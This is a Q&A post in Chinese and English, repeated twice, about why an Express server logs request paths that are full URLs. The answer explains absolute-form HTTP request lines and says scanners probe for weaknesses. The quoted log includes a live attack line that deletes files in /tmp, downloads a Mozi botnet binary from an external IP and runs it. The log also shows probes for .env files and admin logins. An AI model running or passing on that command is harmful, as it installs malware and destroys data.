expressjs req.url 路径怎么可能是另一个 url?
How can expressjs req.url path be another url?
我最近发现有人向我的 node-express 服务器发出了可疑请求。所以我写了一个中间件来记录请求urls。是否记录了很多以“/”开头的可疑请求路径,但有些路径实际上是另一个 url。在明确要求下这怎么可能?
我试图搜索这个但没有找到任何东西。这些请求是否会危及节点服务器的安全性。 (例如 req.url 显示为 http://icanhazip.com/ )
我的log.txt文件
/wp-content/
/owa/auth/logon.aspx?url=https%3a%2f%2f1%2fecp%2f
/shell?cd+/tmp;rm+-rf+*;wget+http://AN_IP_WAS_HERE:40222/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws
/.env
/.env
http://example.com/<-- how is this possible in express request ?
/boaform/admin/formLogin
http://icanhazip.com/ <-- how is this possible in express request ?
用于记录请求的代码
app.use((req,res,next) => {
var isvalid = true;
//some validation code here
if(!isvalid){
fs.appendFileSync("./log.txt", "\r\n"+ req.url);
res.send("...");
} else next();
});
how is this possible in express request ?
一个非常基本的 HTTP 请求如下所示:
GET /your/path HTTP/1.1
并且任何普通客户端都会在那里放置一个合理的路径。
如果您正在编写自己的客户端,或者手动构造请求(例如,通过键入连接到 HTTP 端口的 telnet 客户端),那么您可以在那里编写任何您喜欢的内容:
GET http://example.com/ HTTP/1.1
Could these request compromise the security of the node server.
一般不会。他们正在寻找可以利用的安全漏洞。不要对用户输入做不安全的事情,及时更新你所依赖的模块的安全补丁,你会没事的。
我最近发现有人向我的 node-express 服务器发出了可疑请求。所以我写了一个中间件来记录请求urls。是否记录了很多以“/”开头的可疑请求路径,但有些路径实际上是另一个 url。在明确要求下这怎么可能? 我试图搜索这个但没有找到任何东西。这些请求是否会危及节点服务器的安全性。 (例如 req.url 显示为 http://icanhazip.com/ )
我的log.txt文件
/wp-content/
/owa/auth/logon.aspx?url=https%3a%2f%2f1%2fecp%2f
/shell?cd+/tmp;rm+-rf+*;wget+http://AN_IP_WAS_HERE:40222/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws
/.env
/.env
http://example.com/<-- how is this possible in express request ?
/boaform/admin/formLogin
http://icanhazip.com/ <-- how is this possible in express request ?
用于记录请求的代码
app.use((req,res,next) => {
var isvalid = true;
//some validation code here
if(!isvalid){
fs.appendFileSync("./log.txt", "\r\n"+ req.url);
res.send("...");
} else next();
});
how is this possible in express request ?
一个非常基本的 HTTP 请求如下所示:
GET /your/path HTTP/1.1
并且任何普通客户端都会在那里放置一个合理的路径。
如果您正在编写自己的客户端,或者手动构造请求(例如,通过键入连接到 HTTP 端口的 telnet 客户端),那么您可以在那里编写任何您喜欢的内容:
GET http://example.com/ HTTP/1.1
Could these request compromise the security of the node server.
一般不会。他们正在寻找可以利用的安全漏洞。不要对用户输入做不安全的事情,及时更新你所依赖的模块的安全补丁,你会没事的。